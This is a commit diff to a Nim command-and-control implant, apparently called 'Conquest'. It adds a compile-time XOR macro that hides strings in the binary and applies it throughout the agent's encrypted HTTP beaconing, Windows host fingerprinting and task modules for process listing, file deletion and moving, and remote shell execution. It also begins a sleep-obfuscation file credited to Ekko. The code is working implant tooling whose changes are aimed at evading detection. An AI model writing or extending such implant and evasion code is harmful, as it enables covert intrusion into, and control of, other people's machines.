Implemented compile-time string obfuscation via XOR for the agent.

src/agent/core/context.nim

@@ -18,7 +18,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
     wipeKey(aesKey)
 
     if gmac != authTag: 
-        raise newException(CatchableError, "Invalid authentication tag.")
+        raise newException(CatchableError, protect("Invalid authentication tag."))
 
     # Parse decrypted profile configuration 
     unpacker = Unpacker.init(Bytes.toString(decData))
@@ -37,14 +37,14 @@ proc deserializeConfiguration(config: string): AgentCtx =
 
     wipeKey(agentKeyPair.privateKey)
     
-    echo "[+] Profile configuration deserialized."
+    echo protect("[+] Profile configuration deserialized.")
     return ctx
 
 proc init*(T: type AgentCtx): AgentCtx = 
 
     try: 
         when not defined(CONFIGURATION):
-            raise newException(CatchableError, "Missing agent configuration.")
+            raise newException(CatchableError, protect("Missing agent configuration."))
 
         return deserializeConfiguration(CONFIGURATION)
 

src/agent/core/http.nim

@@ -4,36 +4,36 @@ import ../../common/[types, utils, profile]
 
 proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = 
 
-    let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
+    let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
     var heartbeatString: string
 
     # Apply data transformation to the heartbeat bytes
-    case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
+    case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
     of "base64":
-        heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
+        heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
     of "none": 
         heartbeatString = Bytes.toString(heartbeat)
 
     # Define request headers, as defined in profile
-    for header, value in ctx.profile.getTable("http-get.agent.headers"): 
+    for header, value in ctx.profile.getTable(protect("http-get.agent.headers")): 
         client.headers.add(header, value.getStringValue())
 
     # Select a random endpoint to make the request to
-    var endpoint = ctx.profile.getString("http-get.endpoints")
+    var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
     if endpoint[0] == '/': 
         endpoint = endpoint[1..^1] & "?"    # Add '?' for additional GET parameters
 
     let 
-        prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
+        prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
-        suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
+        suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
         payload = prefix & heartbeatString & suffix
 
     # Add heartbeat packet to the request
-    case ctx.profile.getString("http-get.agent.heartbeat.placement.type"): 
+    case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")): 
     of "header": 
-        client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
+        client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
     of "parameter":
-        let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name")
+        let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
         endpoint &= fmt"{param}={payload}&"
     of "uri":
         discard
@@ -43,7 +43,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
         discard 
 
     # Define additional request parameters
-    for param, value in ctx.profile.getTable("http-get.agent.parameters"): 
+    for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")): 
         endpoint &= fmt"{param}={value.getStringValue()}&"
 
     try:
@@ -56,11 +56,11 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
 
         # In case that tasks are found, apply data transformation to server's response body to get thr raw data
         let 
-            prefix = ctx.profile.getString("http-get.server.output.prefix")
+            prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
-            suffix = ctx.profile.getString("http-get.server.output.suffix")
+            suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
             encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
 
-        case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"): 
+        case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"): 
         of "base64":
             return decode(encResponse) 
         of "none":
@@ -77,18 +77,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
 
 proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = 
     
-    let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
+    let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
 
     # Define request headers, as defined in profile
-    for header, value in ctx.profile.getTable("http-post.agent.headers"): 
+    for header, value in ctx.profile.getTable(protect("http-post.agent.headers")): 
         client.headers.add(header, value.getStringValue())
     
     # Select a random endpoint to make the request to
-    var endpoint = ctx.profile.getString("http-post.endpoints")
+    var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
     if endpoint[0] == '/': 
         endpoint = endpoint[1..^1]
     
-    let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST"))
+    let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
 
     let body = Bytes.toString(data)
 

src/agent/core/sleepmask.nim

@@ -0,0 +1,3 @@
+import winim/lean 
+
+# Sleep obfuscation based on Ekko (by C5pider)

src/agent/protocol/registration.nim

@@ -76,7 +76,7 @@ type
         SERVER = 3
 
 # API Structs
-type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
+type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
     dwOSVersionInfoSize: ULONG
     dwMajorVersion: ULONG
     dwMinorVersion: ULONG
@@ -99,58 +99,58 @@ proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string
     if major == 10 and minor == 0:
         if productType == WORKSTATION:
             if build >= 22000:
-                return "Windows 11"
+                return protect("Windows 11")
             else:
-                return "Windows 10"
+                return protect("Windows 10")
 
         else:
             case build:
                 of 20348:
-                    return "Windows Server 2022"
+                    return protect("Windows Server 2022")
                 of 17763:
-                    return "Windows Server 2019"
+                    return protect("Windows Server 2019")
                 of 14393:
-                    return "Windows Server 2016"
+                    return protect("Windows Server 2016")
                 else:
-                    return fmt"Windows Server 10.x (Build: {build})"
+                    return protect("Windows Server 10.x (Build: ") & $build & protect(")")
 
     elif major == 6:
         case minor:
         of 3:
             if productType == WORKSTATION:
-                return "Windows 8.1"
+                return protect("Windows 8.1")
             else:
-                return "Windows Server 2012 R2"
+                return protect("Windows Server 2012 R2")
         of 2:
             if productType == WORKSTATION:
-                return "Windows 8"
+                return protect("Windows 8")
             else:
-                return "Windows Server 2012"
+                return protect("Windows Server 2012")
         of 1:
             if productType == WORKSTATION:
-                return "Windows 7"
+                return protect("Windows 7")
             else:
-                return "Windows Server 2008 R2"
+                return protect("Windows Server 2008 R2") 
         of 0:
             if productType == WORKSTATION:
-                return "Windows Vista"
+                return protect("Windows Vista")
             else:
-                return "Windows Server 2008"
+                return protect("Windows Server 2008") 
         else: 
             discard
 
     elif major == 5:
         if minor == 2:
             if productType == WORKSTATION:
-                return "Windows XP x64 Edition"
+                return protect("Windows XP x64 Edition")
             else:
-                return "Windows Server 2003"
+                return protect("Windows Server 2003")
         elif minor == 1:
-            return "Windows XP"
+            return protect("Windows XP")
     else: 
         discard 
 
-    return "Unknown Windows Version"
+    return protect("Unknown Windows Version") 
 
 proc getProductType(): ProductType =
     # The product key is retrieved from the registry
@@ -162,7 +162,7 @@ proc getProductType(): ProductType =
     #   WinNT    -> Workstation
 
     # Using the 'registry' module, we can get the exact registry value
-    case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
+    case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
     of "WinNT":
         return WORKSTATION
     of "ServerNT":
@@ -173,7 +173,7 @@ proc getProductType(): ProductType =
 proc getOSVersion(): string = 
     
     proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
-        {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
+        {.cdecl, importc: protect("RtlGetVersion"), dynlib: protect("ntdll.dll").}
 
     when defined(windows):
         var osInfo: OSVersionInfoExW
@@ -190,7 +190,7 @@ proc getOSVersion(): string =
         # We instead retrieve the     
         return getWindowsVersion(osInfo, getProductType())
     else:
-        return "Unknown"
+        return protect("Unknown")
 
 proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = 
     

src/client/client.nim

@@ -1,97 +0,0 @@
-# MIT License
-# 
-# Copyright (c) 2022 Can Joshua Lehmann
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-# 
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-# SOFTWARE.
-
-import owlkettle, owlkettle/[playground, adw]
-
-viewable App:
-  collapsed: bool = false
-  enableHideGesture: bool = true
-  enableShowGesture: bool = true
-  maxSidebarWidth: float = 300.0
-  minSidebarWidth: float = 250.0
-  pinSidebar: bool = false
-  showSidebar: bool = true
-  sidebarPosition: PackType = PackStart
-  widthFraction: float = 0.25
-  widthUnit: LengthUnit = LengthScaleIndependent
-  sensitive: bool = true
-  tooltip: string = ""
-  sizeRequest: tuple[x, y: int] = (-1, -1)
-
-method view(app: AppState): Widget =
-  result = gui:
-    AdwWindow:
-      defaultSize = (600, 400)
-
-      OverlaySplitView:
-        collapsed = app.collapsed
-        enableHideGesture = app.enableHideGesture
-        enableShowGesture = app.enableShowGesture
-        maxSidebarWidth = app.maxSidebarWidth
-        minSidebarWidth = app.minSidebarWidth
-        pinSidebar = app.pinSidebar
-        showSidebar = app.showSidebar
-        sidebarPosition = app.sidebarPosition
-        widthFraction = app.widthFraction
-        widthUnit = app.widthUnit
-        tooltip = app.tooltip
-        sensitive = app.sensitive
-        sizeRequest = app.sizeRequest
-        
-        proc toggle(shown: bool) =
-          echo shown
-          app.showSidebar = shown
-        
-        Box:
-          orient = OrientY
-          
-          AdwHeaderBar {.expand: false.}:
-            style = HeaderBarFlat
-            
-            insert(app.toAutoFormMenu(sizeRequest = (400, 500))){.addRight.}
-            
-            Button {.addLeft.}:
-              icon = "sidebar-show-symbolic"
-              style = ButtonFlat
-              
-              proc clicked() =
-                app.showSidebar = not app.showSidebar
-          
-          Label:
-            text = "Content"
-            style = LabelTitle2
-        
-        Box {.addSidebar.}:
-          orient = OrientY
-          spacing = 4
-          
-          AdwHeaderBar {.expand: false.}:
-            style = HeaderBarFlat
-            
-            WindowTitle {.addTitle.}:
-              title = "Overlay Split View Example"
-          
-          Label:
-            text = "Sidebar"
-            style = LabelTitle2
-
-adw.brew(gui(App()))

src/common/crypto.nim

@@ -1,7 +1,7 @@
-import macros, system
+import macros, system, hashes
 import nimcrypto
 
-import ./[utils, types]
+import ./[types, utils]
 
 #[
     Symmetric AES256 GCM encryption for secure C2 traffic
@@ -10,7 +10,7 @@ import ./[utils, types]
 proc generateBytes*(T: typedesc[Key | Iv]): array =
     var bytes: T
     if randomBytes(bytes) != sizeof(T): 
-        raise newException(CatchableError, "Failed to generate byte array.")
+        raise newException(CatchableError, protect("Failed to generate byte array."))
     return bytes
 
 proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
@@ -48,7 +48,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
     let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
 
     if gmac != header.gmac: 
-        raise newException(CatchableError, "Invalid authentication tag.")
+        raise newException(CatchableError, protect("Invalid authentication tag."))
 
     return decData
 
@@ -110,7 +110,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
 
     # Add combined public keys to hash
     let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
-    let hashMessage: seq[byte] = string.toBytes("CONQUEST") & @combinedKeys 
+    let hashMessage: seq[byte] = string.toBytes(protect("CONQUEST")) & @combinedKeys 
 
     # Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
     let hash = blake2b(hashMessage, sharedSecret)
@@ -129,7 +129,7 @@ proc writeKeyToDisk*(keyFile: string, key: Key) =
     let bytesWritten = file.writeBytes(key, 0, sizeof(Key))
 
     if bytesWritten != sizeof(Key):
-        raise newException(ValueError, "Invalid key length.")
+        raise newException(ValueError, protect("Invalid key length."))
 
 proc loadKeyPair*(keyFile: string): KeyPair = 
     try: 
@@ -140,7 +140,7 @@ proc loadKeyPair*(keyFile: string): KeyPair =
         let bytesRead = file.readBytes(privateKey, 0, sizeof(Key))
 
         if bytesRead != sizeof(Key):
-            raise newException(ValueError, "Invalid key length.")
+            raise newException(ValueError, protect("Invalid key length."))
 
         return KeyPair(
             privateKey: privateKey,
@@ -151,4 +151,4 @@ proc loadKeyPair*(keyFile: string): KeyPair =
     except IOError: 
         let keyPair = generateKeyPair() 
         writeKeyToDisk(keyFile, keyPair.privateKey)
-        return keyPair
+        return keyPair

src/common/sequence.nim

@@ -1,5 +1,5 @@
 import tables 
-import ./types
+import ./[types, utils]
 
 var sequenceTable {.global.}: Table[uint32, uint32]
 
@@ -31,12 +31,12 @@ proc validatePacket*(header: Header, expectedType: uint8) =
     
     # Validate magic number
     if header.magic != MAGIC:
-        raise newException(CatchableError, "Invalid magic bytes.")
+        raise newException(CatchableError, protect("Invalid magic bytes."))
 
     # Validate packet type
     if header.packetType != expectedType: 
-        raise newException(CatchableError, "Invalid packet type.")
+        raise newException(CatchableError, protect("Invalid packet type."))
 
     # Validate sequence number 
     if not validateSequence(header.agentId, header.seqNr, header.packetType): 
-        raise newException(CatchableError, "Invalid sequence number.")
+        raise newException(CatchableError, protect("Invalid sequence number."))

src/common/serialize.nim

@@ -1,5 +1,5 @@
 import streams, tables
-import ./[types, utils, crypto]
+import ./[types, utils]
 
 #[
     Packer
@@ -102,7 +102,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
     unpacker.position += bytesRead
     
     if bytesRead != length:
-        raise newException(IOError, "Not enough data to read")
+        raise newException(IOError, protect("Not enough data to read"))
 
 proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array = 
     var bytes: array[sizeof(T), byte]
@@ -111,7 +111,7 @@ proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]
     unpacker.position += bytesRead
     
     if bytesRead != sizeof(T):
-        raise newException(IOError, "Not enough data to read structure.")
+        raise newException(IOError, protect("Not enough data to read structure."))
     
     return bytes
 

src/common/utils.nim

@@ -1,20 +1,8 @@
+import macros, hashes
 import strutils, nimcrypto
 
 import ./types
 
-proc generateUUID*(): string = 
-    # Create a 4-byte HEX UUID string (8 characters)
-    var uuid: array[4, byte]
-    if randomBytes(uuid) != 4: 
-        raise newException(CatchableError, "Failed to generate UUID.")
-    return uuid.toHex().toUpperAscii()
-
-proc toUuid*(T: type string, uuid: string): Uuid = 
-    return fromHex[uint32](uuid)
-
-proc toString*(T: type Uuid, uuid: Uuid): string = 
-    return uuid.toHex(8)
-
 proc toString*(T: type Bytes, data: seq[byte]): string =
     result = newString(data.len)
     for i, b in data:
@@ -25,9 +13,49 @@ proc toBytes*(T: type string, data: string): seq[byte] =
     for i, c in data:
         result[i] = byte(c.ord)
 
+#[
+    Compile-time string encryption using simple XOR
+    This is done to hide sensitive strings, such as C2 profile settings in the binary 
+]#
+proc calculate(str: string, key: int): string {.noinline.} = 
+    var k = key 
+    var bytes = string.toBytes(str)
+    for i in 0 ..< bytes.len:
+        for f in [0, 8, 16, 24]: 
+            bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF)
+        k = k +% 1
+    return Bytes.toString(bytes)
+
+# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result
+var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF
+
+macro protect*(str: untyped): untyped = 
+    var encStr = calculate($str, key)
+    result = quote do: 
+        calculate(`encStr`, `key`)
+    
+    # Alternate the XOR key using the FNV prime (1677619)
+    key = (key *% 1677619) and 0x7FFFFFFF
+
+#[
+    Utility functions
+]#
+proc toUuid*(T: type string, uuid: string): Uuid = 
+    return fromHex[uint32](uuid)
+
+proc toString*(T: type Uuid, uuid: Uuid): string = 
+    return uuid.toHex(8)
+
+proc generateUUID*(): string = 
+    # Create a 4-byte HEX UUID string (8 characters)
+    var uuid: array[4, byte]
+    if randomBytes(uuid) != 4: 
+        raise newException(CatchableError, protect("Failed to generate UUID."))
+    return uuid.toHex().toUpperAscii()
+
 proc toUint32*(T: type Bytes, data: seq[byte]): uint32 =
     if data.len != 4:
-        raise newException(ValueError, "Expected 4 bytes for uint32")
+        raise newException(ValueError, protect("Expected 4 bytes for uint32"))
     
     return uint32(data[0]) or 
            (uint32(data[1]) shl 8) or 
@@ -71,6 +99,6 @@ proc toBytes*(T: type uint64, value: uint64): seq[byte] =
 
 proc toKey*(value: string): Key = 
     if value.len != 32:
-        raise newException(ValueError, "Invalid key length.")
+        raise newException(ValueError, protect("Invalid key length."))
   
     copyMem(result[0].addr, value[0].unsafeAddr, 32)

src/modules/environment.nim

@@ -1,4 +1,4 @@
-import ../common/types
+import ../common/[types, utils]
 
 # Declare function prototypes
 proc executePs(ctx: AgentCtx, task: Task): TaskResult
@@ -8,26 +8,26 @@ proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
 # Command definitions
 let commands*: seq[Command] = @[
     Command(
-        name: "ps",
+        name: protect("ps"),
         commandType: CMD_PS,
-        description: "Display running processes.",
+        description: protect("Display running processes."),
-        example: "ps",
+        example: protect("ps"),
         arguments: @[],
         execute: executePs
     ),
     Command(
-        name: "env",
+        name: protect("env"),
         commandType: CMD_ENV,
-        description: "Display environment variables.",
+        description: protect("Display environment variables."),
-        example: "env",
+        example: protect("env"),
         arguments: @[],
         execute: executeEnv
     ),
     Command(
-        name: "whoami",
+        name: protect("whoami"),
         commandType: CMD_WHOAMI,
-        description: "Get user information.",
+        description: protect("Get user information."),
-        example: "whoami",
+        example: protect("whoami"),
         arguments: @[],
         execute: executeWhoami
     )
@@ -56,7 +56,7 @@ when defined(agent):
 
     proc executePs(ctx: AgentCtx, task: Task): TaskResult = 
         
-        echo fmt"   [>] Listing running processes."
+        echo protect("   [>] Listing running processes.")
         
         try: 
             var processes: seq[DWORD] = @[]
@@ -66,7 +66,7 @@ when defined(agent):
             # Take a snapshot of running processes
             let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
             if hSnapshot == INVALID_HANDLE_VALUE: 
-                raise newException(CatchableError, "Invalid permissions.\n")
+                raise newException(CatchableError, protect("Invalid permissions.\n"))
             
             # Close handle after object is no longer used
             defer: CloseHandle(hSnapshot)
@@ -76,7 +76,7 @@ when defined(agent):
 
             # Loop over processes to fill the map            
             if Process32First(hSnapshot, addr pe32) == FALSE:
-                raise newException(CatchableError, "Failed to get processes.\n")
+                raise newException(CatchableError, protect("Failed to get processes.\n"))
             
             while true: 
                 var procInfo = ProcessInfo(
@@ -99,7 +99,7 @@ when defined(agent):
                     processes.add(pid)
 
             # Add header row
-            let headers = @["PID", "PPID", "Process"]
+            let headers = @[protect("PID"), protect("PPID"), protect("Process")]
             output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
             output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
 
@@ -130,7 +130,7 @@ when defined(agent):
 
     proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = 
 
-        echo fmt"   [>] Displaying environment variables."
+        echo protect("   [>] Displaying environment variables.")
 
         try: 
             var output: string = ""
@@ -144,11 +144,11 @@ when defined(agent):
 
     proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = 
 
-        echo fmt"   [>] Getting user information."
+        echo protect("   [>] Getting user information.") 
 
         try: 
 
-            let output = "Not implemented"
+            let output = protect("Not implemented") 
             return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output))
 
         except CatchableError as err: 

src/modules/filesystem.nim

@@ -1,4 +1,4 @@
-import ../common/types
+import ../common/[types, utils]
 
 # Define function prototypes
 proc executePwd(ctx: AgentCtx, task: Task): TaskResult
@@ -12,72 +12,72 @@ proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
 # Command definitions
 let commands* = @[
     Command(
-        name: "pwd",
+        name: protect("pwd"),
         commandType: CMD_PWD,
-        description: "Retrieve current working directory.",
+        description: protect("Retrieve current working directory."),
-        example: "pwd",
+        example: protect("pwd"),
         arguments: @[],
         execute: executePwd
     ),
     Command(
-        name: "cd",
+        name: protect("cd"),
         commandType: CMD_CD,
-        description: "Change current working directory.",
+        description: protect("Change current working directory."),
-        example: "cd C:\\Windows\\Tasks",
+        example: protect("cd C:\\Windows\\Tasks"),
         arguments: @[
-            Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
+            Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true)
         ],
         execute: executeCd
     ),
     Command(
-        name: "ls",
+        name: protect("ls"),
         commandType: CMD_LS,
-        description: "List files and directories.",
+        description: protect("List files and directories."),
-        example: "ls C:\\Users\\Administrator\\Desktop",
+        example: protect("ls C:\\Users\\Administrator\\Desktop"),
         arguments: @[
-            Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
+            Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false)
         ],
         execute: executeDir
     ),
     Command(
-        name: "rm", 
+        name: protect("rm"), 
         commandType: CMD_RM,
-        description: "Remove a file.",
+        description: protect("Remove a file."),
-        example: "rm C:\\Windows\\Tasks\\payload.exe",
+        example: protect("rm C:\\Windows\\Tasks\\payload.exe"),
         arguments: @[
-            Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
+            Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true)
         ],
         execute: executeRm
     ),
     Command(
-        name: "rmdir",
+        name: protect("rmdir"),
         commandType: CMD_RMDIR,
-        description: "Remove a directory.",
+        description: protect("Remove a directory."),
-        example: "rm C:\\Payloads",
+        example: protect("rm C:\\Payloads"),
         arguments: @[
-            Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
+            Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true)
         ],
         execute: executeRmdir
     ),
     Command(
-        name: "move",
+        name: protect("move"),
         commandType: CMD_MOVE,
-        description: "Move a file or directory.",
+        description: protect("Move a file or directory."),
-        example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
+        example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"),
         arguments: @[
-            Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
+            Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
-            Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
+            Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
         ],
         execute: executeMove
     ),
     Command(
-        name: "copy",
+        name: protect("copy"),
         commandType: CMD_COPY,
-        description: "Copy a file or directory.",
+        description: protect("Copy a file or directory."),
-        example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
+        example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"),
         arguments: @[
-            Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
+            Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
-            Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
+            Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
         ],
         execute: executeCopy
     )
@@ -102,7 +102,7 @@ when defined(agent):
     # Retrieve current working directory
     proc executePwd(ctx: AgentCtx, task: Task): TaskResult = 
 
-        echo fmt"   [>] Retrieving current working directory."
+        echo protect("   [>] Retrieving current working directory.")
 
         try: 
             # Get current working directory using GetCurrentDirectory
@@ -126,7 +126,7 @@ when defined(agent):
         # Parse arguments
         let targetDirectory = Bytes.toString(task.args[0].data)
 
-        echo fmt"   [>] Changing current working directory to {targetDirectory}."
+        echo protect("   [>] Changing current working directory to {targetDirectory}.")
 
         try: 
             # Get current working directory using GetCurrentDirectory
@@ -235,7 +235,7 @@ when defined(agent):
                         var 
                             localTime: FILETIME
                             systemTime: SYSTEMTIME
-                            dateTimeStr = "01/01/1970  00:00:00"
+                            dateTimeStr = protect("01/01/1970  00:00:00")
                         
                         if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
                             # Format date and time in PowerShell style
@@ -244,7 +244,7 @@ when defined(agent):
                         # Format file size
                         var sizeStr = ""
                         if isDir:
-                            sizeStr = "<DIR>"
+                            sizeStr = protect("<DIR>")
                         else:
                             sizeStr = ($fileSize).replace("-", "")
                         

src/modules/shell.nim

@@ -1,4 +1,4 @@
-import ../common/types
+import ../common/[types, utils]
 
 # Define function prototype
 proc executeShell(ctx: AgentCtx, task: Task): TaskResult 
@@ -6,13 +6,13 @@ proc executeShell(ctx: AgentCtx, task: Task): TaskResult
 # Command definition (as seq[Command])
 let commands*: seq[Command] =  @[
     Command(
-        name: "shell",
+        name: protect("shell"),
         commandType: CMD_SHELL,
-        description: "Execute a shell command and retrieve the output.",
+        description: protect("Execute a shell command and retrieve the output."),
-        example: "shell whoami /all",
+        example: protect("shell whoami /all"),
         arguments: @[
-            Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
+            Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true),
-            Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
+            Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false)
         ],
         execute: executeShell
     )

src/modules/sleep.nim

@@ -1,4 +1,4 @@
-import ../common/types
+import ../common/[types, utils]
 
 # Define function prototype
 proc executeSleep(ctx: AgentCtx, task: Task): TaskResult 
@@ -6,12 +6,12 @@ proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
 # Command definition (as seq[Command])
 let commands* = @[
     Command(
-        name: "sleep",
+        name: protect("sleep"),
         commandType: CMD_SLEEP,
-        description: "Update sleep delay configuration.",
+        description: protect("Update sleep delay configuration."),
-        example: "sleep 5",
+        example: protect("sleep 5"),
         arguments: @[
-            Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
+            Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true)
         ],
         execute: executeSleep
     )